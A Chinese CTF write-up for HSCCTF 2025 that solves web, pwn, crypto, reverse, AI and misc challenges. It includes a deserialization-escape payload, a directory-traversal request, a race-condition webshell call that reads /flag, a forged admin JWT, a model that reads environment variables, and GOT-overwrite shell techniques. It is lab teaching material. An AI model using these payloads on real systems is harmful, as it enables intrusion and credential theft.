本届HSCCTF 2025是由中龙技术联合数支社会战队举办。
本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖WEB、CRYPTO、MISC、PWN、REVERSE、OSINT等主流方向,并面向全球开放。
Rank: 3
Artificial Intelligence
Contaminated-data
2025长城杯原题。
给了一个weights.npy和一个c.npy,用numpy加载并查看数据和形状:
1 | weight = np.load('weights.npy') |
weight是是 304*304 的矩阵,而c是 4*76=304 刚好也是304,数据全是0和1。
结合题目名字推测可能是要恢复图片,由 4*76=304 和 304*304 的矩阵可知,weight[i][j]表示像素i和j之间的连接强度,说明是一个全连接结构的hopfield网络,直接加权计算,判断收敛后得到一个结果:
1 | import numpy as np |
得到:

flag:
flag{flove_all_hurt}
Modelscope
2025长城杯原题 Mini-modelscope。
上传模型:服务器会解压 model.zip 并尝试加载模型。
输入固定:默认会调用 signature 输入 [[1.0]]。
返回值:result 是字典,至少有一个 prediction 键。
核心任务:构造一个模型文件,让 signature(tf.constant([[1.0]])) 的输出符合想要的结果(比如泄露 flag)。
列目录:
1 | import tensorflow as tf |
读文件(环境变量 /proc/self/environ):
1 | import tensorflow as tf |
得到结果的解析:
1 | import numpy as np |
WEB
Baby Cloud
反序列化字符逃逸。
构造普通序列化结果:
1 |
|
构造多个awesome,使得替换为awesomer的时候,能被前面的数量包含进去,7x+18=8x,有x=18,即18个awesome。
exp:
1 | ?rainbow=wonderful&pinkie=awesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesome";s:4:"fail";i:0;} |
Horse
扫出robots.txt,访问有:
1 | 不要访问ctfer_mode千万不要 |
访问/password/pass.list:
1 | test:11451419 |
bp抓包,使用弱口令+目录穿越:
1 | POST /change_mode.php |
Purple Moon
打条件竞争,两个request同时发包:
1 | POST /index.php |
和
1 | GET /uploads/1.php?x=cat%20/flag |
Gogogo
注册登录,新建工单页面,存在Go SSTI。
使用 {{.}} 泄露出:
1 | key=SLgFbnzQpmGts7vw |
为jwt的secret,然后jwt伪造,修改role为admin:
1 | { |
得到:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjUwNTg3NzgsImlzcyI6ImFjbWUtc3VwcG9ydC1wcm9kIiwibmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwidXNlcmlkIjoxfQ.nho9gLcdO2K4afYOpOBuyeTsfsGY6LmWyF1wDT9ORjk |
改cookie的token后变为admin,进入工单管理,#1003 - 高优先级机密工单,找到flag。
Time capsule
A secure time capsule system can only be unlocked at a specific time, but is it really safe?
直接访问 /FLAG 即可。
CRYPTO
Ancient
Real sign-in
1 RzVJVFlaSkZGUk1HV1daWkdOQ0RFNEpJSE5RWEdOS05ISlNHSTNCT0daWVVXS1pDRzQzV01UQ0NISkVTNElKQkdKUkZFUEpYRjVIVk0zMlpIQVpXNjQyTkdaSlRBNFMzR1pKVENPMllIVjJWWVRMQ0daTERDTVpYR0JURk1TMlpHQlRWR0xDWkdaS1ZRWUo1R0ZURVFRSlNHQlRGNFQyTUc1SVRHUURFSFU3REVZSkVHNVdFS1FEUEdKUEVJS1NYRzQ0RkNRU0lITkNIQ1NaUEdWWlc0UlJZR1pZSEdRVFBHSVVXSVMzQkc0M0RHMkJIRzQ0R1lLU0VHQlFBPT09PQ==
base64->base32->base85->base45->base62->base58
flag:
flag{cl@ss1cal_c1pher_@re_really_1nterest1ng}
Sign_in
You can do it if you understand the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35 from Crypto.Util.number import *
from gmpy2 import *
import random
get_context().precision = 2048
L = 5
S = getPrime(144)
a = getPrime(32)
b = random.randint(0, S - 1)
def split_and_pad_single_char_rule(msg, L):
segments = []
assert L >= 1
pad_len = L - 1
for char_idx, char_byte in enumerate(msg):
char_ascii = char_byte
pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
seg_bytes = bytes([char_byte]) + pad_bytes
segments.append(bytes_to_long(seg_bytes))
return segments
def encrypt_segment(m_i, a, b, M):
return (a * m_i + b) % M
flag = "flag{___________________}"
msg_bytes = flag.encode()
m_segments = split_and_pad_single_char_rule(msg_bytes, L)
c_segments = [encrypt_segment(mi, a, b, S) for mi in m_segments]
print(f"a = {a}")
print(f"S = {S}")
print(f"L = {L}")
print(f"C = {c_segments}")
print(f'M = {m_segments}')
每个字符 $c$ 被填充为长度 $L=5$ 的字节序列。规则是:[c, c+1, c+2, c+3, c+4](模 256),然后将该字节序列转换为整数 $m_i$。
$c_i = (a \cdot m_i + b) \pmod S$。
已知:$a$(乘数),$S$(模数,是一个大质数),$L$(段长度),$C$(密文列表)
未知:随机生成的 $b$(加数),需要还原的 $m_i$(明文整数)
典型的仿射密码,要解密需求出 $b$。由于flag格式是 flag{...},可利用第一个字符 ‘f’ 进行已知明文攻击:
$b \equiv c_0 - a \cdot m_0 \pmod S$
一旦求出 $b$,对于任意密文 $c_i$,求出明文 $m_i$:
$m_i \equiv a^{-1} \cdot (c_i - b) \pmod S$
1 | from Crypto.Util.number import * |
Math
Think, think again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34 from Crypto.Util.number import *
def gen_rev_sum(m,p):
sum = 0
round = 0
while m > 0:
digit = m % p
if round % 2 == 0:
sum -= digit
else:
sum += digit
m = m // p
round += 1
return sum // 2025
e = 65537
p = getPrime(256)
q = getPrime(256)
n = p*q
m1 = getRandomNBitInteger(2048)
m2 = getRandomNBitInteger(2048)
sum1 = gen_rev_sum(m1, p)
sum2 = gen_rev_sum(m2, p)
flag = "flag{--------------------------}"
m = bytes_to_long(flag.encode())
print("m1 =",m1)
print("m2 =",m2)
print("sum1 =",sum1)
print("sum2 =",sum2)
print("n =",n)
print("c =",pow(m,e,n))
gen_rev_sum 函数实际上是在计算整数 $m$ 在 $p$ 进制下的“交错和”(Alternating Sum)。
设 $m$ 的 $p$ 进制表示为:$m = d_0 + d_1 p + d_2 p^2 + \dots + d_k p^k$。
代码逻辑是:
Round 0 (偶数): sum -= digit ($d_0$)
Round 1 (奇数): sum += digit ($d_1$)
Round 2 (偶数): sum -= digit ($d_2$)
所以内部的 sum 变量计算的是:$S = -d_0 + d_1 - d_2 + d_3 - \dots = \sum_{i} (-1)^{i+1} d_i$
已知 $p \equiv -1 \pmod{p+1}$,因此 $p^i \equiv (-1)^i \pmod{p+1}$。
对于 $m$:
$m = \sum d_i p^i \equiv \sum d_i (-1)^i \pmod{p+1}$
对于 $S$:
$S = \sum d_i (-1)^{i+1} = - \sum d_i (-1)^i$
观察两者关系,可以得出结论:
$m \equiv -S \pmod{p+1}$
即:$m + S$ 是 $p+1$ 的倍数。
确定 $S$ 的值:
给出的 sum1 和 sum2 是函数 gen_rev_sum 的返回值,即 internal_sum // 2025。
根据Python除法特性:
$S_{real} = sum_{output} \times 2025 + r$
其中 $r$ 是余数,范围在 $[0, 2024]$ 之间。
有两个方程:
$m_1 + (sum_1 \times 2025 + r_1) = k_1 \cdot (p+1)$
$m_2 + (sum_2 \times 2025 + r_2) = k_2 \cdot (p+1)$
其中 $m_1, m_2, sum_1, sum_2$ 已知,$r_1, r_2 \in [0, 2024]$。
可以遍历 $r_1$ 和 $r_2$(总共 $2025 \times 2025 \approx 4 \times 10^6$ 次组合,计算量很小)。
对于每一对 $(r_1, r_2)$,计算:
$val_1 = m_1 + sum_1 \times 2025 + r_1$
$val_2 = m_2 + sum_2 \times 2025 + r_2$
计算 $g = \text{gcd}(val_1, val_2)$。
如果 $r_1, r_2$ 正确,那么 $g$ 一定含有因子 $p+1$。由于 $p$ 是256位的,正确的 $g$ 会非常大。一旦找到可能的 $p+1$ 的倍数,可以尝试通过除以小因子来还原 $p$,并验证是否能整除 $n$。
1 | from Crypto.Util.number import * |
EZRSA
What a peculiar prime number!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 from Crypto.Util.number import *
def tran(n):
s_bin = bin(n)[2:]
bit_map = {'0': '10', '1': '01'}
p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
return int(p_bin, 2)
def keygen(nbit):
while True:
s = getPrime(nbit)
p = tran(s)
if not isPrime(p):
continue
s_bin = bin(s)[2:].zfill(nbit)
q_bin = (s_bin[:nbit // 2]
+ '1' * (nbit // 2)
+ s_bin[nbit // 2:]
+ '1' * (nbit // 2))
q = int(q_bin, 2)
if isPrime(q):
return p,q
flag = "flag{____________________________}"
nbit = 256
p, q = keygen(nbit)
m = bytes_to_long(flag.encode())
e= 65537
n = p * q
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
由构造可知:
$q$ 的最低 128 比特全是 1,即 $q \equiv -1 \pmod{2^{128}}$
所以:
$n = pq \equiv -p \pmod{2^{128}} \implies p \equiv -n \pmod{2^{128}}$
tran(s) 的结构决定了:
- 除最高两位 ‘11’ 外,p 的每 2 bit 一组,要么 10(对应 s 的该位为 0),要么 01(对应 s 的该位为 1)。
- 最低 128 比特只由 s 的最低 64 比特决定。
- 利用第 1 步得到的 $p \bmod 2^{128}$,将这 128 bit 按每两位一组解码,就直接恢复了 s 的低 64 位。
有了 s 的前半部分后,可以按位继续猜 s 的下一位:
- 给定当前已知的前 k 位(lsb-first),构造出对应的 p 和 q 在模 $2^k$ 下的截断值(注意只用到已知位)。
- 检查 $(pq) \bmod 2^k$ 是否等于 $n \bmod 2^k$,若只在某个候选 bit 下成立,就确定这一位。
- 这样从 bit 64 推到 bit 127,再同理从 128 推到 255,可以逐位唯一恢复整个 256-bit 的 s。
拿到完整的 s 后:
- 用给定的
tran构造 (p); - 用
q_bin = A + 1…1 + B + 1…1构造 (q); - 验证 p、q 为素数且 $pq == n$。
最后常规 RSA 解密。
1 | from Crypto.Util.number import long_to_bytes, inverse |
Where
Make a decison
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 from Crypto.Util.number import *
import random
flag = "flag{_______________________________}"
m = bin(bytes_to_long(flag.encode()))[2:]
p = getPrime(300)
q = getPrime(300)
n = p * q
R.<x> = PolynomialRing(Zmod(n))
def gen(m):
C = []
for bit in m:
if bit == '0':
C.append(random.randint(1, n-1))
else:
x = random.randint(1, 2^80)
y = random.randint(1, p-1)
val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
C.append(R(val))
return C
c = gen(m)
print(f"n = {n}")
print(f"c = {c}")
flag被转换成二进制字符串 m,然后通过 gen(m) 生成了一个列表 c。从代码来看,它对每个 bit 做了不同处理:
bit 为 0:
C.append(random.randint(1, n-1))
直接生成随机数,没有包含 p/q 的信息。
bit 为 1:
1 | x = random.randint(1, 2^80) |
生成的 val 中涉及 p、q、x、y,即只有 bit=1 时的多项式会包含 p 或者 q 的信息。
1 | val = 65537 + x*(1-x) + (q - x)*y + (y + x)*(q + x) |
展开 (y+x)*(q+x):
$(y+x)(q+x) = yq + yx + qx + x^2$
再加上 (q-x)*y = q*y - x*y
所以:
$val = 65537 + x(1-x) + qy - xy + yq + yx + qx + x^2 = 65537 + x + q(x + 2y)$
利用 $val \equiv 65537 + x \pmod q$
使用coppersmith求 $x$,有根说明该bit是1,否则是0。
1 | from Crypto.Util.number import * |
StillRSA
A easy coppersmith
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36 from Crypto.Util.number import *
from gmpy2 import *
def gen():
while(1):
p1 = getPrime(128)
p2 = getPrime(512)
q2 = getPrime(512)
s = q2 & ((1 << 56) - 1)
q1 = 2 * p1 + s
r1 = 2 * q1 + s
if is_prime(q1) and is_prime(r1):
n1 = p1 * q1 * r1
n2 = p2 * q2
break
return n1,n2,p1,p2
n1,n2, p1, p2 = gen()
e = 65537
flag = "flag{---------------------------------------}".encode()
m1 = bytes_to_long(flag[: (len(flag)+1) // 2])
m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])
c1 = powmod(m1, e, n1)
c2 = powmod(m2, e, n2)
gift = p2 >> 262
print(f"e = {e}")
print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"p1 = {p1}")
print(f"gift = {gift}")
题目生成 $n_1 = p_1q_1r_1$,且:
$q_1 = 2p_1 + s$,$r_1 = 2q_1 + s = 4p_1 + 3s$
其中 s = q2 & ((1 << 56) - 1)(即 q2 的低 56 位)。
由此令 $N = n_1 // p_1 = q_1r_1$,代入得到:
$N = q_1r_1 = q_1(2q_1 + s) = 2q_1^2 + sq_1$
两边对 $p_1$ 取模,可导出模 $p_1$ 的二次方程来求 $s$, 简化得到:
$N \equiv 3s^2 \pmod {p_1}$
可以算出 $s^2 \bmod {p_1}$,再求有限域开方得到 $s$,即可恢复 $q_1,r_1$,从而完整分解 $n_1$,解密 $c_1$。
第二部分用 $n_2 = p_2q_2$ 加密。已知 $p_2$ 的高位 250 bit,又由 s = q2 & ((1<<56)-1),还可算出 $p_2 \bmod {2^{56}}$。
所以已知 $p_2$ 的高 250 bit 和低 56 bit,用coppersmith求中间部分bit。
1 | from Crypto.Util.number import * |
flag:
flag{Im_a_fw_that_only_crafts_RSA_challenges}
Abg
How to obtain abg?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45 from Crypto.Util.number import *
def ECC(bit):
g = getPrime(bit)
a = getPrime(bit)
b = getPrime(bit)
E = EllipticCurve(GF(g),[a,b])
J = E.random_point()
K = E.random_point()
L = E.random_point()
r = getPrime(bit // 2)
k = getPrime(16)
s = r * J
s1 = r * J + k * L
s2 = r * k * J
return L.xy(), s.xy(), s1.xy(), s2.xy(), K.xy()
def RSA(m, s, bit):
p = getPrime(bit)
q = getPrime(bit)
rr = getPrime(bit)
n = p * q
gift = pow(rr, rr * (p-1), n)
enc = pow(m, int(s), n)
return gift, n, enc
flag = "flag{--------------------------------}"
m = bytes_to_long(flag.encode())
L, s, s1, s2, K = ECC(256)
gift, n, enc = RSA(m, abs(int(s[0] - s[1])), 512)
print("L =", L)
print("s1 =", s1)
print("s2 =", s2)
print("K =", K)
print("enc =", enc)
print("gift =", gift)
print("n =", n)
根据 gift = pow(rr, rr * (p-1), n),由于 $rr^{p-1} \equiv 1 \pmod p$
有 $\text{gift} = rr^{rr(p-1)} \equiv (rr^{p-1})^{rr} \equiv 1 \pmod p$
故 $p \mid (\text{gift} - 1)$,即 $p = \gcd(\text{gift}-1,n)$,分解 $n$。
ECC已知四个点:L, s1, s2, K,对应的曲线是:
$E:y^2=x^3+ax+b \pmod g$
对每个点 $(x_i,y_i)$ 都有:$y_i^2=x_i^3+ax+b \pmod g$
将右边移项定义:$D_i := y_i^2 - x_i^3 \equiv a x_i + b \pmod g$
对于三个点 $P_1, P_2, P_3$(如 $L, s_1, s_2$),满足:
$\begin{cases} D_1 \equiv a x_1 + b \pmod g \ D_2 \equiv a x_2 + b \pmod g \ D_3 \equiv a x_3 + b \pmod g \end{cases} $
将第一式分别相减:
$D_2 - D_1 \equiv a(x_2 - x_1) \pmod g$
$D_3 - D_1 \equiv a(x_3 - x_1) \pmod g$
消去 $a$:
$(D_2 - D_1)(x_3 - x_1) - (D_3 - D_1)(x_2 - x_1) \equiv 0 \pmod g$
因此 $g$ 必定整除:
$N_{123} := (D_2 - D_1)(x_3 - x_1) - (D_3 - D_1)(x_2 - x_1)$
若再选择另一组三点(如 $L, s_1, K$),可得第二个数 $N_{124}$。因此:
$g \mid N_{123}, g \mid N_{124}$
所以模数 $g = \gcd(N_{123}, N_{124})$。
接着用两点(如 $L, s_1$)求参数 $a$ 与 $b$:
$D_1 \equiv a x_1 + b \pmod g$
$D_2 \equiv a x_2 + b \pmod g$
相减得:
$D_2 - D_1 \equiv a(x_2 - x_1) \pmod g$
求逆 $(x_2 - x_1)^{-1} \pmod g$:
$a \equiv (D_2 - D_1)(x_2 - x_1)^{-1} \pmod g$
再代入即可求得:
$b \equiv D_1 - a x_1 \pmod g$
已知:$L, s_1, s_2$ ,未知:$s$ 和 $k$(已知 $k$ 为 16-bit 素数:getPrime(16))
由关系:
$ \begin{cases}
s_1 = s + kL \\
s_2 = k s
\end{cases} $
可推出:对正确的 $k$,
$ s = s_1 - kL $ 且 $ k s = s_2 $。
枚举所有 16-bit 素数 $k$(范围 $2^{15}\sim 2^{16}$),对每个候选 $k$,先在椭圆曲线群上计算 $kL$,计算 $S := s_1 - kL$,检查 $kS \stackrel{?}{=} s_2$。若等式成立,则该 $k$ 为正确的素数,且对应的 $S$ 即为所求点 $s$。
1 | from Crypto.Util.number import * |
1ZRSA
How to restore d?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 from Crypto.Util.number import *
from gmpy2 import *
import random
def RSA(m,nbit):
while True:
p, q, e = getPrime(nbit), getPrime(nbit), getPrime(nbit)
n = p * q
phi_n = (p - 1) * (q - 1)
d = int(inverse(e, phi_n))
if len(bin(d)[2:]) == 1024:
break
keep_bits = nbit * 2 - 100
mask = int((1 << keep_bits) - 1)
d_ = d & mask
c = powmod(m, e, n)
return c,n,e,d_
def gen(nbit):
c, n, e, d_ = RSA(m, nbit)
N = getPrime(nbit * 2)
t = random.randint(1, nbit * 2 - 1)
C = [random.randint(0, N - 1) for _ in range(t - 1)] + [powmod(d_,1,N)]
R.<x> = GF(N)[]
f = R(0)
for i in range(t):
f += x ** (t - i - 1) * C[i]
enc = [(a, f(a)) for a in [random.randint(1, N - 1) for _ in range(t)]]
with open("output.txt", "w", encoding="utf-8") as f_out:
f_out.write(f"c = {c}\n")
f_out.write(f"n = {n}\n")
f_out.write(f"e = {e}\n")
f_out.write(f"N = {N}\n")
f_out.write(f"enc = {enc}\n")
flag = "flag{-------------------------------}"
m = bytes_to_long(flag.encode())
if __name__ == "__main__":
gen(512)
先利用拉格朗日插值得到 $d_$,则有:
$d_ = d \bmod {2^{924}} = d \bmod M$
已知 $d$ 的低924 bit,高100 bit未知,参考paper恢复 $d$:
New Partial Key Exposure Attacks on RSA
1 | from Crypto.Util.number import * |
REVERSE
Sign
MainActivity中:
1 | public static final void setupClickListener$lambda$0(MainActivity mainActivity, View view) { |
分析libmyapplication.so:
Java_com_example_myapplication_MainActivity_initNative 函数中,sub_1838 是AES-ECB算法,密文从文件qwqer来,key=”p0l1st”=0x70306c31737400000000000000000000
解AES得到elf文件,再分析elf:
Java_com_qwq_ezapp_MainActivity_checkFlag 函数中,`encrypt_string 是XXTEA算法。
1 | from Crypto.Util.number import * |
Ezvm
主要逻辑分析:
初始化数据:
v46(一个 4 元素的 __int64 数组)和 v45(字符串 "reverse1s3asy",长度 13)被硬编码为后续操作的密钥或常量。
v29 到 v37 是一组长度为 9 的 操作序列(或操作码):0, 0, 1, 2, 0, 5, 2, 6, 0,但实际使用的操作序列是 v29 到 v33 及其后的 5 个元素,即:0, 0, 1, 2, 0(这是由 v48 = 5i64 控制的循环次数)。
v29是一个 64 位整数,初始值为0i64。v30到v37是 8 个 32 位整数,初始值为0, 1, 2, 0, 5, 2, 6, 0。- 代码通过
v27 = *(&v29 + v52)读取操作码,当v52从 0 循环到 4 时,读取的值依次是:v29(0),v30(0),v31(1),v32(2),v33(0)。 最终执行的操作码序列是:
0, 0, 1, 2, 0。调用
sub_1400057D5(v28)初始化一个 栈结构(或动态数组),用于存储中间结果。v28结构体可能包含一个指向堆内存的指针、当前元素个数(0)、和容量(64)。输入 Flag:
- 程序打印提示
"请输入flag\n"。 - 通过
fgets读取用户输入到Buffer(最大 256 字节)。 Size = strcspn(Buffer, "\n")计算出实际输入字符串(Flag)的长度(不包括换行符)。- 分配内存
Block = malloc(Size)并将 Flag 复制到Block中。 - Flag 的数据 被设置到局部变量
v38(指针) 和v39(长度) 中。
- 程序打印提示
程序进入一个由 while (v51 && v52 < v48) 控制的循环,循环 5 次(因为 v48 = 5i64),依次执行操作码序列 0, 0, 1, 2, 0。
这个循环操作一个 数据栈 v28,栈中存储的元素是 <指针, 长度> 结构体(类似于 C++ 的 std::vector<char> 或 std::string 的实现)。
函数 sub_1400055A1:
sub_1400055A1(v19, v20, v21, v22, v23)
执行一个核心运算,将 v20 ("reverse1s3asy") 和 v22 ("reverse1s3asy" 的副本) 作为数据和密钥进行处理。
sub_1400016CC
将输入数据(v20,即 "reverse1s3asy")从字节数组转换为32 位整数数组(大端或小端取决于平台和代码细节,但主要是 4 字节一组)。
sub_140001917
将密钥数据(v22,即 "reverse1s3asy" 的副本)的前 16 字节转换为 4 个 32 位整数(可能是一个 Key Schedule)。
sub_1400054ED
调用一个自定义的虚拟机/字节码解释器来对 32 位整数数组进行运算。
sub_140001A01和sub_140001ECF负责初始化和构建字节码。sub_140001AFC是 字节码解释器,使用 16 个 32 位寄存器(v5)和状态标志(v7)来执行操作,操作码(v4的低字节)包括 MOV、ADD、SUB、XOR、SHL、SHR、AND、内存读写(从输入数据a2或 Keya3),以及条件跳转。这个函数是对输入数据进行了复杂的位运算和逻辑运算变换。sub_1400017FD将运算结果(32 位整数数组)再转换回 字节数组。
进入关键处理函数:
__int64 __fastcall sub_7FF791B91ECF(_QWORD *a1, unsigned int a2)
根据参数可以识别为算法可能为XXTEA,尝试解密:
1 | from Crypto.Util.number import * |
PWN
PWN1
ret2text。
1 | from pwn import * |
PWN2
菜单题。
create_note限制最多申请9个,同时申请一个0x20的堆块存放数据指针,申请堆块存放在v2+0x8位置,v2+0x10位置存放打印函数地址。
delete_note存在uaf漏洞。
view_note使用通过调用堆上存在的指针,打印漏洞点的位置。
先通过view_note堆溢出,覆盖申请的第一个堆块的打印指针,当free掉两个堆块时,在存放size位置存在放了一个堆地址,而存在堆块地址的位置,存在一个heap_addr+0x10的位置。当写入数据时,输入长度会变得很大。劫持view_note函数的调用指针为win函数。
1 | from pwn import * |
PWN3
格式化字符串,测试偏移是8,计算指针ptr对应的位置:
8+(0x70-8)//8=21
输入 %21$s,读出指针ptr指向的地址内容得flag。
PWN4
用格式化字符串泄露程序基址,然后修改printf_got为system_plt,最后getshell。
1 | from pwn import * |
PWN6
题目结构和pwn2一样,存在uaf和指针调用。
先释放两个堆块,进入tcachebins中,再重新申请0x18大小的堆块,劫持操作堆块,发现还存在打印指针,通过修改新的堆块构造rop链,之后再通过uaf漏洞edit_note劫持第1个堆块。
1 | from pwn import * |
PWN7
ret2libc。
1 | from pwn import * |
MISC
Sign_in
Follow the WeChat public account ‘中龙技术’ and send ‘HSCCTF2025’ and ‘安全 KER’ community to get the flag
安全KER
公众号发关键词,得前半段:HSCCTF{w3lc0me_hScC
进入网页找到帖子,得后半段:tf2oz5}
flag:
HSCCTF{w3lc0me_hScCtf2oz5}
Signin_WhoRwe
jpg末尾字符串,flag:
HSCCTF{Th1s_15_uS}
Harris
投川普一票,然后等倒计时结束得flag。
CALC
交互题。
1 | from pwn import * |
Hidden bullet comments
根据题目提示“隐藏的弹幕”,注册,打开第一集,看弹幕。
flag:
HSCCTF{I_Love_Stupidfish}

